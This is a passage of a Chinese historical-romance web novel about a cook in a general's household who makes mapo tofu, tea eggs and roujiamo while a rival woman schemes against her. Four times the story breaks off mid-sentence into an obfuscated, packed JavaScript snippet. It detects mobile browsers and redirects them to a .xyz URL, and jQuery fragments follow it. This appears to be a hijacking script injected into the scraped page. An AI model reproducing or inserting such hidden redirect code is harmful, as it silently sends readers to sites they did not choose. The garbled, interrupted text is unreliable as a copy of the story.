她将豆腐放在桌上，指着它说道：“回将军，军师，今日听闻将军会带一蜀地女子归来，奴婢特意做了蜀地的美食，名为麻婆豆腐。”说着扭头看向那女子，“希望这位贵客能够喜欢。” 女子略施粉黛，双眼凝神，笑起来还有两个小酒窝，是个可爱的模样，就是有些略显老气。 萧燕瑾并未开口，女子倒是一副主人的模样笑着说，“将军见奴家可怜，便带着奴家归来，奴家怎敢还奢望自己吃上蜀地的美食，自当一切以将军为主。” 苏蛮蛮抱着托盘的手紧了紧，听完这一席话瞬间翻了个白眼儿，嘴里还嘀咕着，“非礼勿听，非礼勿听......” 萧燕瑾微微抬眸，看向了她，苏蛮蛮并未察觉，此时的苏蛮蛮只是希望李妈妈或者周妈妈不管是谁赶紧来救她一救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723607|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在这里待久了，她怕自己变成死绿茶！ 不，她怕自己憋不住想怼她！ 门帘再次被掀开，苏蛮蛮扭头看过去，李妈妈端着托盘的身影走了进来，她一瞬间感觉到了这就是救星，内心想着一定要给李妈妈多做些好吃的犒劳她！ “将军，这是这个时节的时蔬，还有一些您爱吃的菜。” 将托盘里的三四样菜全数放在桌上后，她隐隐地往后退着，想走但是看着苏蛮蛮并未离开，又不敢离开，最后怯懦懦地说了一句，“将军，老奴厨房里还有事，可否离开？” 见萧燕瑾没说话，军师点了点头示意李妈妈可以离开，苏蛮蛮这个时候想要跟在李妈妈身后赶紧跑，没曾想一句话给她拉了回来。 “苏蛮蛮，你留下。” 没办法，谁叫自己拿着五两银子的工资呢！可是这位将军，五两银子不包括看你撒狗粮啊！！！ 萧燕瑾的目光在那盘豆腐上停留了许久，终于他拿起一旁的勺子朝着那豆腐舀了下去，勺中是几块颤巍巍的洪亮豆腐，裹挟这浓稠晶亮的芡汁，还粘着一点醇香的肉末和一两段碧绿的蒜苗。 热气腾腾，他并没有作什么停顿，直接将那一勺子的豆腐送进了口中。 “唔......” 一声极其压抑，仿佛是从胸腔深处被强行挤出来的闷哼突然响起！ 烫！ 还有些猛烈又霸道的麻！ 一股子醇厚、炽烈的辣味轰然席卷了整个味蕾，有着很多不同的味道，柔弱的豆腐在唇齿间轻轻一抿，瞬间在嘴里融化，这种温润柔顺，恰到好处地中和了这外部的强烈。 一勺又一勺，一旁的女子才慢慢地动起了筷子，军师在一旁只能干看着，这一次他是一丁点儿都没有得到吃。 女子吃了两勺后就放下了勺子，看着萧燕瑾也缓缓将勺子放下，还是往日那幅庄严的模样，苏蛮蛮也并不想知道他会如何夸自己，除了一般和尚可，她可没有在这位将军嘴里听到一句关于好的话。 “味道如何？”萧燕瑾扭头看向那女子。 女子拿出手巾轻轻擦了擦自己的嘴角，有些害羞地低过头说着，“奴家以为，这味道一般，还没有奴家做的好吃呢，从前奴家在蜀地时，经常做些吃食给家里的人......” 说着她就准备搭上萧燕瑾的胳膊，被萧燕瑾巧妙地给躲开，导致她最后扑了个空。 “噗——哈哈哈——唔——” 一连着三个动作，苏蛮蛮实在是忍不住了，最后直接手动闭了麦，军师见桌上还剩一点麻婆豆腐，走上前去拿起一个新的勺子舀了一勺放进嘴里。 “嗯，好吃，蛮蛮姑娘，下次多做一点好吧？或者，给我开个小灶？” 话音刚落，一道审视他的目光瞬间落下，吓得他准备再舀一勺的动作在半空中都停滞了。 苏蛮蛮并未发觉，只是笑着走上前将剩下的豆腐全部装进了一个碗里，递给军师，“好啊，下次军师想吃什么跟奴婢说一声就好。” “来人，给这女子安排一个住处，僻静一点最好。”刚说完背着个手就出了花厅，掀开门帘的时候眼神还往后瞥了瞥。 一旁的女子气不打一处来，狠狠地盯着苏蛮蛮那张笑着的脸蛋，眼神里充满了恨意。 8. 茶叶蛋 翌日，天将亮时，苏蛮蛮就起身收拾去往厨房边上的角门，将军府里还蒙着浅浅的一层云雾。 她准备做上一锅茶叶蛋。 角门外一个糙汉拉着一车新鲜食材早早地在门外等着了，苏蛮蛮打着哈欠迎上去，帮着他一起将车推进厨房大门，一点点地把食材搬进去。 手里细数着每一样食材，生怕自己漏了什么。 茶叶蛋的话，丁香、茴香、八角等等香料，粗陶瓮厨房也是有的，就只差茶叶了。 茶叶直接放进铁锅炖煮的话，味道不仅会变质，铁锅也是容易生锈的，所以粗陶瓮是最好的解决方法。 至于茶叶嘛，等会儿去翻翻阿史那带来的两个大箱子里面有没有茶叶，实在是没有的话只好去将军房里偷摸拿点，再不济就去集市上买回一些就好。 将所有食材都放进厨房后，她送走了送食材的那个男人，天还渐黑着，关上角门隐约听到身后有一阵淅淅索索的声音。 她扭头看了看，什么也没有，心里念叨着许是小野猫吧，也没有管那么多，回到厨房就开始准备自己煮茶叶蛋所需要的东西。 好在昨儿个提前说了送鸡蛋来，今天才不至于没有鸡蛋做，她拿上了好几十个鸡蛋，全府上下也应当够了。 她在厨房里东翻翻西翻翻，阿史那送来的两个箱子一个接着一个地都翻了个底儿朝天，终于悬着的心还是死了。 没有茶叶。 刚还在想这个时候不会要叫醒萧燕瑾然后就为了要他的茶叶吧，蹲在箱子边上思考片刻，门外的脚步声越来越近，苏蛮蛮都不曾发觉。 直到那鞋子轻微撞上了厨房的门槛，苏蛮蛮这才反应过来，她还以为是李妈妈来了，头也没回地说道：“李妈妈，今儿个这么早吗？” 说完后许久，身后都没有出声，她回头一看，昨儿个萧燕瑾带回来那个美娇娘正坐在一旁的桌前，自个儿给自个儿倒着茶水，悠然自得地喝了起来。 苏蛮蛮缓缓站起身来将箱子关上，走到桌前坐下，也给自己倒了一碗水来喝，随后笑嘻嘻地对着那个女子说道：“请问姑娘这个时辰来厨房可是有什么事吗？姑娘许是饿了？那还得在等上一等，今日份的食材缺了那么一味，奴婢等会儿去向将军讨来后方可做。” 女子并未着急开口，只是将手里拿着的拿东西轻轻放在桌上，看着苏蛮蛮浅浅一笑，温柔的声音试图席卷苏蛮蛮，“奴家方才来寻吃食，不小心听到了你说缺茶叶，奴家给你带来了，可别误了将军的早膳。” 说完，她站起来扭着她的水蛇腰朝着屋外就走了，像是会说话的田螺姑娘一般，做了好事还要混个脸熟，好让苏蛮蛮记得她。 苏蛮蛮有些呆愣，直直地盯着她的背影，不得不说这女子的身材是极好的，原来将军喜欢这号？ 直到背影消失在大门外的拐角处，苏蛮蛮这才回过神来，拿起桌上的茶叶打开来闻了闻，还是上好的龙井，让人疑惑地是为何她要拿茶叶来，只是为了让将军好好用个早膳吗？ 不清楚，还是将茶叶收好得好。 等着李妈妈来了再问问有没有茶叶，或者是去哪里领吧，想到这里她包好那茶叶，转身放置架子上的最高处，她都得搭个凳子才能瞧见，其他人应当是看不见了。 她抱着一个大盆放在院中，端上个小板凳，打上清水倒在盆里，再将那近百个鸡蛋放在盆里一一洗净。 害怕茶叶蛋不够，她又多拿了些，本来想着几十个应当够了，多煮一点也没事，饿了随时可以吃。 她将需要的东西一列摊开来，不紧不慢地开始忙着自己手中的活计。 苏蛮蛮正弯着腰清洗着鸡蛋，李妈妈紧赶慢赶地跑了过来，“蛮蛮，不好意思，我有点睡过了。” 听着李妈妈还喘着气，苏蛮蛮抬头笑眯眯地说道，“没事啦，我现在正洗着鸡蛋呐，李妈妈你收拾好后过来帮我把鸡蛋擦干净吧。” “好嘞。” 说干就干，李妈妈走进屋喝了一口水，平复了一下自己的心跳，深呼吸好几下，拿着盆和手帕就往外走。 对于一个身材稍胖的的人来说，从丫鬟们的住所到将军这个院落中的厨房里，还是要走上好些时间的。 至少也得一刻钟左右吧。 洗完以后，李妈妈的鸡蛋也擦拭了干净，苏蛮蛮将鸡蛋放进锅中加入清水没过鸡蛋，舀了一勺盐放进去，稍微煮上一会儿，再捞出来放在一旁备用。 “对了李妈妈，你知道茶叶在哪里吗？” 李妈妈思考了一会儿，径直走向架子，蹲下身来摸摸索索地伸手掏着什么，不一会儿一个小木匣子就被她掏了出来。 她掸了掸匣子上的灰，抱着匣子放在桌上，轻轻打开，里面是一块完整的普洱茶。 苏蛮蛮轻轻“哇”了一声，扭头看向李妈妈笑着对着她竖了一个大拇指，李妈妈疑惑道，“这是什么意思啊？” “这个啊，”她看着自己竖着的大拇指，“这个是夸你真棒的意思！” “哈哈哈——” 两人的笑声在厨房里瞬间传开，李妈妈看了看盒子里的茶叶，“这茶叶还是早年间我来府中有些日子的时候，将军从外归来，我记得那个时候酿了桂花酿给将军，将军赠与我的。” “听说这是个好东西，我就一直好生保管着，这不蛮蛮你不说我都差点没想起来，我也不喝茶，你需要就拿去用吧！” 苏蛮蛮拿着那块茶饼，掰下一半来，把另一半包好放回了匣子递给李妈妈，“我只要这一半就好，另一半你收着，若是哪天你想喝了，我给你泡茶喝！” “那就这么说定了！”李妈妈笑着关上匣子，又重复着方才的动作，将匣子放回了架子最底下。 有了茶叶，苏蛮蛮这下可以大展身手了。 所有的香料都装进一个纱布包里面，她拿着擀面杖就对着那纱布包敲敲打打，把里面的香料什么的都给敲碎了。 这样才能够更好的将味道融合进汤汁里。 李妈妈的火也生了起来，将锅放好，放进冰糖熬色，不多时冰糖已经熬成了焦黄，裹着那纱布包的味道细腻又香甜。 水逐渐开始沸腾，等到水完全沸腾的时候，她才将煮好的汁水倒进那个粗陶瓮里。 一捧茶叶加进粗陶瓮，茶香瞬间布满了整个厨房。 剩下没用完的茶叶，也没剩多少，李妈妈看着它说道：“蛮蛮，这还剩些，不如我们今儿个就喝喝茶水？” “好啊，等忙完了我给你泡！” 一个粗陶瓮装不下这八十几个鸡蛋，得用两个。 刚好汁水可以没过鸡蛋，香料混合着茶叶在这陶瓮里转转悠悠，好生惬意。 苏蛮蛮拿着个勺子将鸡蛋轻轻敲出一条缝隙，好让汤汁能够顺着这个缝隙更好地融进去。 时间一点点的过去，陶瓮里的汁水正在咕噜咕噜地冒着泡，汤汁在里面不停地翻涌着，香料的味道也在肆意的闯入李妈妈和苏蛮蛮的鼻腔之中。 原本的大火也已经变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723608|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了文火。 苏蛮蛮已经将剩下的茶叶泡成了茶水，两人坐在桌前看着那试图想从粗陶瓮里逃出来的香气，惬意地喝着杯中的茶。 “这茶真香，闻着好闻，喝着也好喝。”苏蛮蛮感叹道，“还是第一次这样喝茶！” “嗯嗯，确实好喝。”李妈妈也发出了来自于她的感叹，对于她来说，这茶确实很好喝，只是她不懂得品茶，所以也只能说个好喝了。 她看着苏蛮蛮那股子享受的劲儿，又问道：“蛮蛮丫头，你以前是不是哪家的千金小姐啊？” “噗！” 这一问，苏蛮蛮的茶水喷了一地，李妈妈赶忙找手巾给她擦嘴，苏蛮蛮已经用袖子擦掉了嘴边的水渍，抬眸望着她，“你怎么会这样问啊？” “我就是看你喝茶的时候很是享受，一般不是那些大家闺秀什么的才这样吗？” “哈哈哈，李妈妈，我若是大家闺秀的话，就不会在这将军府里当厨娘了，本来以为只需要给将军做饭，没想到最后是给全府上下几十口人做饭！” 听了苏蛮蛮的一席话，李妈妈又觉得她说得有道理，或许就是饭做得多了，点心做得多了，关于品茶之类的在各位大人面前听也就听得多了吧。 柴火渐渐忽明忽暗，苏蛮蛮走过去看了看，粗陶瓮里的鸡蛋壳都被染上了红褐色，腾起的热气顺着木盖的缝隙就往上窜着。 “好香啊！” 苏蛮蛮用勺子捞起一个茶叶蛋放在一旁的粗陶碗里，“李妈妈，帮我尝尝味道可好？” 这种事李妈妈当然是甘之如饴的，还没等苏蛮蛮说“小心烫”，她的手就已经朝着碗里的鸡蛋伸去。 最终不出所料，鸡蛋烫得她赶忙缩了缩手，“呼呼”地吹着自己被烫的手指。 她双手伸进一边的凉水里，再去剥鸡蛋，像是找到了什么新诀窍一般，将鸡蛋很快就剥好了，一个不留神，一整个鸡蛋就钻进了嘴里。 烫得她使劲儿朝着外面哈气，也舍不得将鸡蛋咬一口吐出来，一旁的茶水凉了也算是帮她降降嘴里的温度了。 “好吃！真好吃！”鸡蛋还在嘴里，李妈妈就学着苏蛮蛮方才的样子给她竖了个大拇指。 苏蛮蛮笑着将鸡蛋分装好，李妈妈送去给周妈妈，而她则是装上一些去花厅里，还带上了白粥和咸菜。 花厅里，军师闻着味儿就已经不客气地坐在了桌边，昨儿个那女子此刻正坐在军师的身旁。 苏蛮蛮径直走过去，将东西放好，抱着托盘站在一边说道：“将军，军师，早膳是白粥，茶叶蛋还有一点自制的咸菜。” 军师很满意地点头，“这也太香了吧！”刚准备伸筷子的时候，抬眸看了看萧燕瑾，见他还没来落座，自己也很自觉的放下了筷子。 苏蛮蛮一直很好奇，军师到底是什么身份，每日不管做什么都和将军一处。 萧燕瑾放下手中的竹简，走到桌前，扭头看向苏蛮蛮，“苏蛮蛮，坐过来剥鸡蛋。” 一边的女子拿起一个鸡蛋，就算觉得烫也不放手，轻声说道：“将军，奴家来为你剥吧？” “苏蛮蛮，过来。” 苏蛮蛮悄悄翻了个白眼，过来就过来，那么凶干嘛！ 见着苏蛮蛮走过来将托盘放在了桌边，坐在了萧燕瑾的身旁，那女子一下子就抽泣了起来，“将军，奴家今早起来发现......发现将军昨儿个送我的龙井不见了，又听闻苏姑娘是要拿茶叶去煮鸡蛋，不知道是不是苏姑娘......” 9. 肉夹馍 苏蛮蛮懒得看她，一看这女的就是妥妥的绿茶，她转眼看向萧燕瑾，要是萧燕瑾连这都分辨不出来，那她就直接罢工请辞！ 她还不信了，这偌大的凉州，还没有她苏蛮蛮的一席之地。 不说靠这脸蛋嘛，靠这厨艺也能收获不少人群的喜欢嘛，这可不是她自夸，好歹也是有真材实料的哈！ 萧燕瑾没说话，自顾自的吃着苏蛮蛮剥的鸡蛋，柳青青抬眼看了看苏蛮蛮，见苏蛮蛮一脸子不在意的模样，接着又道，“这位姐姐，奴家可是有哪里冲撞了你，那可是将军赠我的，你若是拿了说声便罢，将军不会怪罪你的。” 苏蛮蛮剥了一颗鸡蛋放在柳青青的碗里，“这位不知名的小姐，你左一个我拿的又一个我拿的，何故如此冤枉我啊？” 虽然茶叶确实在她这，但是明明是这死女人给她的，现在来反咬一口，真是大大无语！ 萧燕瑾吃好了早膳，将碗筷放下，拿了一边的手帕擦了擦嘴，才缓缓启唇，“不就是一饼茶叶吗，晚些时候再送你一块便是。” 声音里听不出来是宠溺还是不耐烦，异常的平静，在柳青青看来，萧燕瑾对她就是不一样的。 “不用了，晚些时候我让李妈妈把那茶饼给你拿回去。”苏蛮蛮漫不经心地说着，手里的鸡蛋又剥好了两个，她抬眼看向坐在萧燕瑾身边的军师，“军师，饿了吧，赶紧尝尝。” 军师笑着说，“哎，好好好。” 闻了半天，又差点看见要打起来的模样，吓得他都不敢动筷子，现在好了，可以放心大胆吃了。 白粥配咸菜，还有茶叶蛋，这样吃着那感觉真的好生惬意。 一边的柳青青脸色瞬间煞白，扭头看向萧燕瑾，伸手搭在萧燕瑾的胳膊上，轻声撒着娇，“将军，你看啊，她自己都承认了茶饼在她那里了，就是她拿了。” 苏蛮蛮翻了一个白眼，站起身来微微行礼，“不好意思将军，奴婢身子不适，看不得这种不入流的行径有些反胃，先下去了。” 话刚说完，还没等萧燕瑾开口，她拿起一边的托盘转身就出了花厅，朝着厨房走去。 军师刚咬了一半的鸡蛋不知道是吞还是不吞，剩下一半不知道是吃还是不吃，就这样呆呆地望着桌上的两人。 “来人，将柳青青关进清净苑，禁足三日。” 被柳青青拉着的那只手甩开了她，没有其他的言语，只剩下柳青青坐在那儿愤愤不平，喊着，“将军！” 没人理会她，萧燕瑾走后一个小厮走进来对着柳青青说道：“走吧，柳姑娘。” 柳青青气得直跺脚，还是跟着那小厮去了清净苑。 厨房里，周妈妈赶忙跑来八卦，“蛮蛮，我跟你讲啊，那个女的被禁足了，三日呐！” 苏蛮蛮无所谓地耸耸肩，“那也是她活该。”只要不扣她的月钱，关谁、关多久，她半点都不关心。 说到这，她想起来了那块茶饼，拿着踮脚的箱子放在架子边上，李妈妈和周妈妈就站在一旁看着她。 直到她拿下来一块包好的远远的大饼，周妈妈这才开口问道：“这是什么啊？” “这就是那女的说的茶饼，早晨她拿过来给我的，后又说是我去她那儿偷拿的，天可怜见啊我一不知道她是谁，二不知道她住哪儿，三不知道将军给了她啥，怎么偷啊？” 苏蛮蛮一副好惨好惨的模样，惹得李妈妈和周妈妈发笑。 “李妈妈，劳烦您把这茶饼拿给将军吧，让将军就用这块茶饼赏给那女的，还省了钱！” 她笑嘻嘻地将茶饼递给李妈妈，李妈妈本来还想留下打下手，被周妈妈拉着就朝着外面走，这个好戏周妈妈怎么可能错过。 看着她们都走后，苏蛮蛮开始了自己的工作，但是胸口憋着一股子无名火，烧得她口干舌燥，心绪难平！ 不行，得找补回来！这亏不能白吃！ 念头一起，便再也压不住。 苏蛮蛮头也不回，直奔厨房深处的角落，那里有一个半人高的粗陶坛子，上面还压着沉重的石板。 这是她前些日子偷偷摸摸熬好，封存起来的老卤汁，她费力地挪开石板，一股难以形容的香气轰然冲破束缚，直击天灵盖！ 八角、桂皮、花椒、草果、丁香......无数的香料经过时间与油脂的熬练再加以沉淀，早已不分彼此，融合成了一种醇厚且带着一点岁月沧桑感的奇异浓香。 这香气甫一冲出，瞬间盖过了厨房里所有的味道，连角落里沉睡的面粉袋子似乎都为之颤栗了一下。 她手脚麻利地生起灶膛大火，大铁锅架上，一大块肥瘦相间、纹里漂亮的五花肉，“啪”地丢进滚水里，焯去血沫杂质，捞出沥干水分，再切成巴掌大的厚块。 锅烧热，素油滑锅，几块冰糖丢进去，小火慢熬，看着糖色从浅黄变作金红透亮的焦糖泡。 再将肉块下锅，“刺啦——！”一声巨响，油脂的浓香和焦糖的甜香混在一起猛烈爆发，肉块再热肉里翻滚着，瞬间裹上了酱红色的外包装。 这时，那坛子里的宝贝老卤汁被请了出来。 深琥珀色，浓稠得几乎能够挂勺的卤汁，带着沉甸甸的岁月感“哗啦”倾倒入锅，将酱红色的肉块完全淹没。 她又翻出自己的小布包，从里面拿出来几粒草果将其拍碎，一小截良姜，一小撮小茴香，还有几片香叶，统统投入锅中。 最后注入清水，堪堪没过肉块。 盖上厚重的木锅盖，大火烧得沸腾，很快锅里就传来了“咕嘟咕嘟”的声响，浓郁的肉香猛烈地冲出锅盖的分析，肆无忌惮地冲撞着厨房的每一寸空间，然后顺着门窗，汹涌朝外涌去。 路过厨房巡视的守卫被这味道吸引着，“嘶——！”其中一个守卫猛地吸了一口大气，整个人瞬间绷直，像是被踩了尾巴的猫，“老......老赵，你快！快闻闻！什么味儿？！” 老赵使劲儿抽动着鼻子，肚子紧接着发出一连串“咕噜噜”的声音，“我的亲娘姥姥......”他的声音都变了调，带着难以置信的颤抖，循着那勾魂夺魄的香味源头望去， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723609|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光死死钉在了厨房那扇投出明亮火光和白汽的门窗上，“是......使厨房？这....这他娘的是在炖龙肉吗？香......香得老子腿都软了！” 另一个守卫早已按捺不住，像被一条无形的线牵引着，蹑手蹑脚地凑到了厨房的门边，整张脸几乎要嵌进门板的缝隙里，贪婪地往里吸着那致命的香气，口水泛滥成灾。 他压低了嗓子，声音带着浓得化不开的哀求，几乎要哭出来，“苏姑娘！苏姑娘！里面煮的是什么神仙肉啊？这味儿......简直是勾魂索名啊！行行好......赏口汤......不！赏口闻味儿的锅气也行啊！” 屋内，苏蛮蛮正在用一根长筷子小心地翻动着锅里的肉块，看着它们在浓稠滚沸的琥珀色汤汁里沉沉浮浮，颜色越来越深，之地越来越软糯。 她笑着打趣道：“哪有那么严重，你们再这样偷懒，小心被将军知道了罚你！” 守卫低声叹气，一步一回头的朝着厨房，不甘心地去当着值。 苏蛮蛮转身走到面案前，舀出大半盆上好的麦粉，加入温水和一点点盐，开始和面。 手臂用力，将散乱的面粉揉捏、按压，渐渐聚拢成一个光滑柔韧的大面团，盖上湿布醒着。 面团在醒发，锅里的肉在烈火与浓汤中翻滚。 萧燕瑾不知何时站在了厨房的门外，正当苏蛮蛮用勺子搅动着锅里的肉块时，他缓缓踏进了厨房。 “将军？”她霍然站直看向萧燕瑾，“将军这是来惩戒奴婢的？” 萧燕瑾脸上的表情在澡堂跳跃的火光中明灭不定，他盯着苏蛮蛮，那眼神晦暗不明，不知道就将想要干什么。 他的视线越过了苏蛮蛮的脸，落在了她身后那张沾满面粉的榆木案板上。 案板上，醒好的面团光滑饱满，紧接着他的目光又不由自主地飘向了灶台上那口不断喷吐出浓香白汽的大铁锅，锅盖被蒸汽顶得微微跳动，缝隙里溢出来浓郁的香气。 他沉默着，向前踏了一步。 苏蛮蛮瞬间绷紧了全身的肌肉，攥紧了拳头，不是吧？他这是要为了美人儿动手打我？ 然而，萧燕瑾只是走到了案板前，伸出手轻轻按在了面团上，指腹传来面团温热的弹性和生命力。 他吹遮掩，浓密的睫毛遮住了眼底，低沉的声音响起，“这东西......”他顿了顿，目光从面团上移开，重新落回苏蛮蛮那张紧张的小脸上，“能夹几片肉？” “啊？！”苏蛮蛮方才建设好的心理以及想了半天的激烈抗辩，被这荒诞到极致的问题硬生生地噎在了喉咙里。 她的眼睛瞪得溜圆，嘴巴微微张开，脑子里一片空白。 他......刚刚问什么？是问这面团.......能夹几片肉？ 萧燕瑾的眉头微微蹙了一下，清了清嗓子，声音依旧低沉，“发什么呆？做。” 苏蛮蛮猛地一个激灵，回魂了。 算了！跟这脑子被肉香糊住的上司讲道理，不如去跟灶王爷拜把子！ 10. 肉夹馍和银耳汤 她将面团分割成一个个拳头大小的剂子，动作麻利得很，成纺锤状，再用粗大的擀面杖“啪啪”地擀开成牛舌状的长条。 双手卷起面皮，卷成一个敦实的圆柱，然后立起来用手掌“啪”地一下重重按扁，一个厚实圆润、中心自然微微凹陷的白吉馍饼胚就做好了。 整个过程带着一种发泄式的力量和流畅感。 萧燕瑾就站在一旁沉默地看着，高大的身影几乎挡住了门口透入的光线，他的目光随着苏蛮蛮沾满面粉、松祚玛丽的手一动，看着那柔软的面团在她的手中被揉捏、塑形随机拍扁。 厨房里只剩下面团撞击案板的“啪啪”声，灶膛柴火的“噼啪”声，还有那大铁锅里肉汤持续不断的“咕嘟”声。 苏蛮蛮动作不停，将暗号的饼胚放到一旁早已经烧热的、巨大的平底鏊子上，鏊子被灶膛的余火烧得滚烫，面饼一放上去，立刻发出“刺啦啦”的脆响，接触到鏊子的那一面瞬间变白凝固，一股焦香被高温激发出来，与那在空气中无处不在的浓烈肉香交织着。 她挥舞着小铁铲，熟练地翻动着鏊子上的面饼，让两面都均匀烙出漂亮的浅棕色虎皮斑点。 等到面饼受热鼓起来，变得轻盈蓬松，边缘显出了诱人的焦黄时，将它们一个个夹起来，转移到鏊子下方，灶膛边缘堆着一层暗红炭火灰烬的地方，利用那个余温慢慢烘烤，让馍壳彻底酥脆，内里保持柔软。 做完这些，她才深吸一口气，仿佛要迎接一场盛大的仪式，转身，一把掀开了那口熬煮了不知道多久，其实早已经香气浓郁到化不开的大铁锅锅盖！ “轰——！” 一股白蒙蒙的热浪轰然爆发，刹那间填满了厨房里的每一个角落。 锅里的汤汁已经收得浓稠油亮，呈现出一种深沉醉人的琥珀色，上面浮着一层晶亮诱人的油脂。 几大块腊汁肉在其中沉沉浮浮，肥肉的部分更是呈现出了一种胶冻的质感，瘦肉则是被浓稠的酱汁彻底浸透，深红发亮的色泽，酥烂得几乎托孤的感觉。 苏蛮蛮拿起一双特制的长铁筷，小心翼翼地从哪卤汁中夹起来一块颤巍巍、油汪汪的肉块，肥瘦比例堪称完美。 丰腴的油脂和浓稠的卤汁在筷子的尖端几乎要滴落下来。 她将这肉块“啪”地一声，重重放到厚实的榆木砧板上，抄起那把斩骨刀。 “笃！笃！笃！笃！笃！” 刀刃与厚重的砧板碰撞，发出短促、沉重又富有力量感的脆响，苏蛮蛮的手腕稳定有力，每一次挥刀都带着一种奇特的韵律感。 锋利的刀锋精准地切入肥肉，将其剁成细碎晶莹的脂粒，切入瘦肉，将其剁成肉糜，肥与瘦，脂与纤，在快速的斩跺下迅速交融。 每一次刀锋落下，都非常精准地展开肉块，也溅起了细小的肉汁和油脂，那浓郁到极致的肉香随着她的每一次落到，都猛烈地扩散开去！ 苏蛮蛮的动作没有丝毫停顿，放下斩骨刀，拿起旁边刚刚从炭火灰烬中扒出来的白吉馍，那圆饼被烘烤得起到好处，表明还有着均匀漂亮的焦黄色虎皮纹，微微鼓起，形成了一个完美的空腔。 她左手握住滚烫的馍，指尖被烫得微微发红也好不在意，右手拿起一把小刀，沿着馍的边缘“唰”地一下，利落地旋开一道深长的解扣子，露出里面还冒着蒸汽的馍芯。 紧接着，她舀起一大勺在砧板上微微颤动的腊汁肉馅，毫不犹豫地塞进了那刚开好的馍口里。 第一只巨型肉夹馍，就这样诞生了。 它被苏蛮蛮带着点发泄的力道“啪”地直接拍在了榆木案板的边缘，距离萧燕瑾按在案板上的手只有半寸之遥！ 厚实的焦脆馍壳发出了细微的碎裂声，里面饱满得几乎要爆裂开来的肉馅和吸饱了汤汁的芯，散发着无法抗拒的热气和浓烈的香味。 赤裸裸地、嚣张地宣告着自己的存在！ 苏蛮蛮做完这一切，才抬起眼，也不看萧燕瑾，硬邦邦地甩出两个字：“好了。” 那架势分明是在说：吃不吃？不吃我喂狗！ 萧燕瑾的目光，自那巨大的肉块被夹起锅开始，就牢牢地跟随着它的视线走着，看着那肥瘦相间的瑰宝在刀锋下被斩剁成泥，看着油脂和肉汁四处飞溅，看着滚烫的肉馅被塞进馍里...... 他甚至没有思考，也完全无视了那馍烫手到惊人的事实，伸手，一把就把那肉夹馍给抓了起来！ 馍一入手，滚烫的热度立刻透过焦脆的壳子灼烧着他的掌心，他已经忘了自己最开始到厨房来的目的，焦脆的馍壳在他手指的力道下发出了细微的碎裂声。 他低头，对着那被塞的满满当当的馍张口，狠狠地咬了下去！ “嘶——哈！！！” 烫！极致的烫！ 第一口下去，那足以灼伤人的热浪瞬间席卷了整个口腔！烫得萧燕瑾这个在战场上刀剑加身眉头都不皱一下的铁血将军，也控制不住地到抽一大口冷气，眉头瞬间凝成了疙瘩。 下意识地张开嘴，急促地向外哈着气，试图驱散那几乎要将舌头烫熟的温度。 苏蛮蛮在一旁看得有些焦急，连忙说着，“将......将军，没人和你抢，你可以慢....” “咔嚓！”一声脆响，酥脆的掉渣，牙齿首先碰到的是那厚实的馍壳，紧接着是那馍芯，肥肉的脂粒入口即化，没有丝毫的腻味，瘦肉的纤维被剁得细碎，咸香！鲜甜！酱香！应有尽有！ 苏蛮蛮看得只咽口水，嘴巴张得老大，慢悠悠地补充着方才没说完的那个“慢....点的。” 她抱着胳膊站在一旁，看着这位平日里冷面威严的萧大将军，此刻被一只肉夹馍烫到狼狈不堪，又吃得浑然忘我的境地，甚至发出了满足的喟叹，嘴角终于忍不住勾起了一个极其细微的弧度。 吃完后，萧燕瑾又回到了最初的状态，沾满油渍的双手放进水盆里洗净，擦掉嘴角边上残留的油渍，最后给了一个“再接再厉”的评价，背着手就出了厨房。 他前脚刚踏出厨房，苏蛮蛮后脚便把那斩骨刀“啪嗒”一声卡在了案板上，嘴里还不停地念叨着：“还再接再厉，怎么不烫死你呢！” 萧燕瑾的脚步顿了顿，随即当做一切都没发生一样轻笑一声离开了。 ...... 入夜，将军府终于彻底安静下来。 苏蛮蛮辗转反侧睡不着，一想到白日里那柳青青一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723610|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副绿茶的模样，她就觉得自己的状态没有发挥好。 